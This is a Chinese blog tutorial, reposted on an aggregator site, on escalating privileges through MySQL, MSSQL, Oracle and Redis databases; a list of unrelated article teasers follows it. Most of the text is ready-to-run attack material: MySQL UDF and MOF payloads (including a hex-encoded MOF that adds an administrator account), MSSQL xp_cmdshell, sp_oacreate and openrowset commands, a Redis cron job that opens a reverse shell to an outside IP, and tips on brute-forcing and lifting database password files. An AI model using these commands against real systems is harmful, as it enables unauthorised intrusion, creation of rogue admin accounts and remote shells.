【内网安全】——数据库提权姿势

news2025/3/14 20:08:51
作者名:白昼安全
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 在哪能找到解救我的办法
模拟环境我们拿到了一个普通用户的权限,在 系统溢出漏洞无果的情况下,可以采用 数据库进行提权,除了 access数据库外,其他数据库基本都存在数据库提权
注意:因为 access数据库只是一种 网页文档的形式,与其他数据库不一样,除此以外还有一些其他的区别,所以并 不适用于数据库提权

一、使用条件

适用数据库提权的条件如下

1、确认目标开放了数据库服务

2、知道数据库最高权限的密码.例如mysql数据库,就是root账户的密码

二、信息嗅探

当然在使用数据库提权前我们还是要进行一些简单的信息收集,来完成提权操作

1、端口

我们可以先通过查看目标开放的端口来判断目标是否开放了数据库服务,这里给大家列出了常见的几个数据库与默认对应端口,如下

3306 mysql 默认端口
1433 mssql默认端口
1521 oracle默认端口
6379 redis默认端口

当端口探测中发现目标开启的服务中有这几个就可以暂时初步判定目标开启了数据库服务

2、服务

如果无法进行端口探测时也可以进行 服务探测,如果目标开启了数据库,那么对应的 服务项也会启动,当你探测到数据库服务开启时,也可以尝试使用数据库提权

下面是几种常见的数据库服务

mysql
mssql
oracle
redis

三、密码收集

上面提到了使用数据库提权需要知道数据库最高权限的密码,那这个密码该怎么找呢?下面来介绍几种方式

1、配置文件

使用过数据库的同学都知道,网站部署数据库时需要带有 数据库连接信息,包含账密,连接端口,数据库名,ip地址等,如果找到这个文件那密码自然不在话下

例如phpstudy的连接文件如下

下面列出一些常见数据库的连接文件名,如下

sql
data
inc
config
conn
database
common

2、存储文件

数据库基本都有自带的密码文件,例如mysql自带的密码文件路径如下

网站路径/MYSQL/data

该目录下的文件名就是数据库对应的库名,里面后缀为.MYD的就是数据文件,如下

例如user.MYD就是mysql库的user表的信息,这里面放的什么就不用说了吧,用记事本打开就能看到一些信息,

但可能看不全,需要拼接

3、暴力破解

[1]、远程爆破

通过xhray等等工具爆破,此时需要数据库允许外部连接

[2]、本地爆破

若目标没有开启数据库外连,就可以尝试上传本地爆破程序,此时爆破目标的ip就变成了127.0.0.1,也就是localhost

这些本地爆破脚本一搜一大把,这里就不多讲了(实在找不到也可以找我要哦)

4、其他

还有的就是一些社工手段,弱口令等方式拿到密码

四、提权姿势

1、mysql

[1]、UDF提权

UDF就是User Defined Functions,通俗来讲就是用户可 自定义函数。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。
简单来说便是利用 提权脚本放到对方 mysql指定的目录下, 运用脚本创建自定义函数, 使用函数即可获取shell权限。

而提权脚本怎么拿呢?

sqlmap相信很多同学都有,在sqlmap\data\udf\mysql\windows路径下就有32位和64位的这个提权脚本,如下

每个文件夹下都是一个dll文件,这个文件就是加密过的提权脚本

下面就给大家来演示一下详细步骤,如下

1、准备提权脚本

我们讲了上面那个就是加密过的提权脚本,因为sqlmap怕这个提权脚本被查杀,所以进行了加密,我们要用的时候再用sqlmap自带的解密文件解密就行

解密步骤如下

选择指定版本(32位或者64位)的加密脚本文件
复制选择好的脚本文件(dll_文件)到sqlamp/extra/cloak

打开cmd执行以下命令进行解密

python cloak.py -d -i lib_mysqludf_sys.dll_

解密后就会生成如下的一个dll文件

这就是我们要使用的提权脚本

2、上传到利用目录

在mysql<5.1 他的udf利用目录是在 c:/windwos或者 system32
在mysql=>5.1 他的udf利用目录是在 /lib/plugin

现在大部分都用的是>=5.1的版本,所以先看看lib目录下的内容,如下

但是发现lib目录下并没有plugin文件,此时怎么办诶?

还能怎么办,直接给他新建一个哈哈,但是目录名一定得正确,必须构造出lib/plugin/目录

再把刚才的提权脚本上传到该目录下

注意:这里的udf.dll就是上面的lib_mysqludf_sys.dll,只是我进行了一个重命名

3、执行恶意命令

连接目标数据库执行以下命令

create function sys_eval returns string soname "udf.dll";

如果执行成功,即结果为true就说明没问题,然后就可以使用下面的格式执行命令

select sys_eval("要执行的命令");

如下

可以看到已经得到了administrator权限,因为部署数据库时就是使用admin权限来部署的,如果部署数据库是system权限,那么拿到的也会是system权限

[2]、MOF提权

MOF提权适用于2003server

条件:数据库开启了 允许导入导出的配置
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

mof脚本如下

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

在操作数据库执行如下命令(采用了编码),将mof文件导入C:/Windows/system32/wbem/mof/ 目录下

mysql >select0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0Aintodumpfile"C:/windows/system32/wbem/mof/test.mof";

成功后会在机器上生成一个users的用户,密码为hacker

注意:执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:

Msf对应攻击模块名:

exploit/windows/mysql/mysql_mof

[3]、启动项提权

条件:
1、数据库开启了写入文件的配置
2、数据库允许外连

利用也比较简单,就是利用mysql写入恶意木马到启动项目录,当用户启动系统时就会自动加载素有启动项内容,自然也就执行了我们的恶意程序,拿到权限

注意:windows server 启动项目录 C:/programdata/microsoft/windows/start menu/programs/startup/
Msf对应利用模块: exploit/windows/mysql/mysql_start_up

[4]、反弹shell

和UDF一样,用nc反弹shell命令即可

就是先做一个反弹shell的php脚本文件,上传后执行,再用nc监听反弹的权限,很简单,这里就不再淹死了

2、mssql

[1]、xp_cmdshel

sql server 2000 版本是默认开启了xp_cmdshell
在sql server 2005之后的版本就是默认禁止。这个时候就需要 管理员sa权限才能开启

xp_cmdshell可以理解为sql server的一个函数,使用步骤如下

开启xp_cmdshell(高版本可省去这一步)

操作数据库执行以下命令

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

2、执行恶意命令

这里就相当于已经拿到权限了,直接按如下格式执行命令即可

exec master.dbo.xp_cmdshell '命令'

[2]、sp_oacreate

sp_oacreate和上面的xp_cmdshell没啥区别,都可以理解为函数,组件,只是利用的命令不同而已,如下

打开sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

执行恶意命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\\1.txt'

上面这个语句就是执行whoami命令,将结果输出到c盘下的1.txt中(因为这种用法不会在当前回显)

可以看到当前页面没有什么回显,此时我们查看一下c盘下的1.txt,结果如下

可以看到直接就是system权限,也就相当于拿到了我们想要的权限

[3]、沙盒模式

这个就是利用sql server上的沙盒模式,原理很复杂,但是利用过程比较简单,也是几条命令,照着我的命令敲就行了,如下

提权命令

exec sp_configure 'show advanced options',1;reconfigure;

不开启的话在执行xp_regwrite会提示让我们开启

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

执行系统命令,创建margin用户,密码为margin

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

再来看看用户是否创建成功

可以看到已经有margin用户了,而margin用户的权限也是高权限

这里就不多讲了

[4]、映像劫持

映像劫持和上面的xp_cmdshell也差不多,都是几条命令的事,这里给大家附上一篇博客,里面也介绍了一些常见的mssql提权方法,其中就有映像劫持,链接如下(这里就不讲了,有兴趣的同学可以去看看)

数据库安全之MSSQL渗透 - FreeBuf网络安全行业门户

除此之外还有很多很多的方法,大家都可以多学学,增加自己的攻击面

3、oracle

oracle提权的话有一款专门的工具,就是oracleshell这款工具,工具也用百度网盘给大家打包了,链接如下

链接: https://pan.baidu.com/s/11kH6dQmbA06I7kic7qLKxw?pwd=h0bk
提取码:h0bk

下载打开后如下

那个jar文件就是工具,双击打开如下

模式这里可以选择操作该工具的权限

普通,dba,注入三种,选择自己获得的权限,输入ip,用户名,密码,端口等直接连接就可以了,非常方便

因为oracle数据库要钱,所以这里也没有靶机环境来操作,就不多讲了,如果遇到了并且需要提权就用这个工具就可以了

4、redis

这个一般是用计划任务反弹shell来进行提权操作,按照如下步骤输入命令即可

建立计划任务(ip为自己的ip,端口为接收权限的端口)

set x “\n* * * * * /bin/bash -i > /dev/tcp/192.168.1.111/6666 0<&1 2>&1\n”

将计划任务放到定时任务下

config set dir /var/spool/cron/

设置以root用户的身份执行该任务

config set dbfilename root

保存

save 

再用nc监听6666端口即可,上面的kali反弹ip和端口需要

最后再提一下,数据库提权方式尽量是在 其他提权方式无果后再进行尝试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/335020.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java开发-用户注册-MD5工具加密密码

加密方式介绍 对称加密&#xff1a;加密和解密使用的相同的密钥&#xff0c;常见的对称加密算法有:DES、3DES非对称加密&#xff1a;加密和解密使用的密钥不同&#xff0c;常见的非对称加密算法有:RSA 加密&#xff1a;使用私钥加密解密&#xff1a;使用公钥解密 消息摘要: 消…

vcs仿真教程

VCS是在linux下面用来进行仿真看波形的工具&#xff0c;类似于windows下面的modelsim以及questasim等工具&#xff0c;以及quartus、vivado仿真的操作。 1.vcs的基本指令 vcs的常见指令后缀 sim常见指令 2.使用vcs的实例 采用的是全加器的官方教程&#xff0c;首先介绍不使用…

Netty(IO模型/零拷贝技术/IO复用之select、poll、epoll模型)

目录 IO模型 阻塞IO和非阻塞IO 阻塞IO 非阻塞IO IO复用模型 异步IO mmap IO复用之select、poll、epoll模型 select poll epoll IO模型 阻塞IO和非阻塞IO 阻塞IO 所谓阻塞IO就是当应用B发起读取数据申请时&#xff0c;在内核数据没有准备好之前&#xff0c;应用…

分享111个JS菜单导航,总有一款适合您

分享111个JS菜单导航&#xff0c;总有一款适合您 111个JS菜单导航下载链接&#xff1a;https://pan.baidu.com/s/1WkrSIyHC5JySwrCTL0sgLA?pwd13yx 提取码&#xff1a;13yx Python采集代码下载链接&#xff1a;https://wwgn.lanzoul.com/iKGwb0kye3wj base_url "h…

【GPLT 二阶题目集】L2-036 网红点打卡攻略

一个旅游景点&#xff0c;如果被带火了的话&#xff0c;就被称为“网红点”。大家来网红点游玩&#xff0c;俗称“打卡”。在各个网红点打卡的快&#xff08;省&#xff09;乐&#xff08;钱&#xff09;方法称为“攻略”。你的任务就是从一大堆攻略中&#xff0c;找出那个能在…

开源ChatGPT要来了;软件2.0智能革命;GLM、Diffusion模型大加速

1. 2023年AI十大展望&#xff1a;GPT-4领衔大模型变革&#xff0c;谷歌拉响警报&#xff0c;训练数据告急 新年伊始&#xff0c;大模型的话题热度不减。ChatGPT展现的惊人能力将大模型研究和应用热度推向高潮&#xff0c;人们激烈讨论着这个高级“物种”的推出意味着什么。 本文…

如何操作python的列表和元组?

继上篇文章&#xff0c;我们叙述了 列表是什么&#xff1f; 这篇文章&#xff0c;我们主要叙述 列表如何操作。 如何遍历列表呢&#xff1f;这只需要几行代码&#xff0c;无论列表有多长。 循环让我们能够对列表的每个元素都采取一个或一系列相同的措施&#xff0c; 从而高效地…

CHAPTER 4 Jenkins pipeline (流水线)

Jenkins pipeline4.1 pipeline概念4.2 pipeline优势4.3 pipeline演示1. 新建任务2. 配置任务3. 执行任务4.4 pipeline语法4.4.1 片段生成器1. 生成git clone代码2. 执行任务4.4.2 pipeline语法详解1. 声明式流水线基础2. 脚本化流水线基础3. agent 执行位置4. tool 工具5. envi…

原生微信小程序按需引入vant

vant Vant Weapp - 轻量、可靠的小程序 UI 组件库 1.npm安装 找到项目根目录 安装 # 通过 npm 安装 npm i vant/weapp -S --production# 通过 yarn 安装 yarn add vant/weapp --production# 安装 0.x 版本 npm i vant-weapp -S --production 2 .修改 app.json 将 app.jso…

【GD32F427开发板试用】使用Arm-2D显示电池电量

本篇文章来自极术社区与兆易创新组织的GD32F427开发板评测活动&#xff0c;更多开发板试用活动请关注极术社区网站。作者&#xff1a;boc 【虽迟但到】 由于快递的原因&#xff0c;11月份申请的&#xff0c;12月1日才收到GD32F427开发板。虽然姗姗来迟&#xff0c;但也没有减少…

易记笔记-Ubuntu升级软件包及注意事项

APT介绍 APT是一个命令行实用程序&#xff0c;用于在Ubuntu系统中安装、删除、更新软件包。 注意&#xff0c;Ubuntu里面的APT工具需要与常说的APT攻击区分开。 APT攻击&#xff0c;即高级可持续威胁攻击,也称为定向威胁攻击&#xff0c;指某组织对特定对象展开的持续有效的攻…

CSDN每日一练:寻因找祖

题目名称&#xff1a;寻因找祖 时间限制&#xff1a;1000ms内存限制&#xff1a;256M 题目描述 寻找因子个数为n的最小整数x. 输入描述&#xff1a; 输入整数n。(1<n<1000) 输出描述&#xff1a; 输出x。 示例 示例1 输入 3 输出 4 提示 无 猛一看&#xff0c;这个题目很…

Node学习1

Node 加载模块&#xff1a; 加载内置模块和第三方模块直接require&#xff08;名字&#xff09; 自定义模块需要加路径 require&#xff08;&#xff09;加载模块时候会自动调用被加载模块代码require永远以module.export所指向的对象为准 模块作用域&#xff1a; 和函数作用…

QT之事件系统

QT之事件系统1. 概述2. 事件的传递3. 事件类型4. 事件处理与事件过滤5. 自定义事件5.1 Demo6. 发送事件7. 参考1. 概述 在QT中&#xff0c;事件均派生自QEvent抽象类&#xff0c;事件可以由任何派生自QObject的子类实例接收和处理。它们与widget关联性极强。 2. 事件的传递 …

有了这 4 款工具,老大再也不怕我写烂SQL了

一、mysqltuner.pl 是 MySQL 一个常用的数据库性能诊断工具&#xff0c;主要检查参数设置的合理性包括日志文件、存储引擎、安全建议及性能分析。针对潜在的问题&#xff0c;给出改进的建议。是 MySQL 优化的好帮手。 在上一版本中&#xff0c;MySQLTuner支持 MySQL / MariaD…

LightningChart JS v4.0.0 and LightningChart NET

LightningChart JS v4.0.0 引入了新的 DataGrid 组件、全面的折线图类型和视觉主题。2023 年 2 月 9 日 - 16:05 新版本特征 下一代色彩主题&#xff1a; 暗金。网络空间。绿松石六角形。光。光自然。自定义 - 创建您自己的下一代颜色主题。新的 DataGrid 组件 DataGrid 组件是…

linux基本功系列之tar命令实战

文章目录前言一. tar命令介绍二. 语法格式及常用选项三. 参考案例3.1 仅打包不压缩3.2 打包后使用调用压缩命令进行压缩3.3 列出文件的内容3.4 追加文件到tar命令中3.5 释放文件到指定的目录四 . 各种压缩方式的比较总结前言 大家好&#xff0c;又见面了&#xff0c;我是沐风晓…

开学季该准备哪款电容笔?2023平替电容笔推荐

如今&#xff0c;电容笔越来越受欢迎&#xff0c;性能也越来越好。所以&#xff0c;如何选择一款具有高性价比的电容笔就成了人们的重点关注。现在&#xff0c;越来越多的人开始使用电容笔&#xff0c;所以&#xff0c;人们都在寻求更好、更经济的电容笔。所以&#xff0c;什么…

21省人均GDP超过1万美元,北京以19.01万元继续稳居榜首

在过去的2022年&#xff0c;各省都交了优秀的“成绩单”&#xff0c;各省的经济强弱即将揭晓。广东与江苏的GDP均超过12万亿元&#xff0c;是31省中超过12万亿元的两个城市&#xff0c;GDP分别为12.91万亿元与12&#xff0c;18万亿元。山东省、浙江省、河南省紧随其后&#xff…

linux yum安装卸载jdk8

1>安装1 yum -y list java* 列出jdk列表2 yum install -y java-1.8.0-openjdk-demo.x86_64&#xff08;安装这个java -version 正常显示&#xff0c;但是javac不能用&#xff0c;因为yum install java 只是安装了java的运行时环境&#xff0c;并不支持编译&#xff0c;安装成…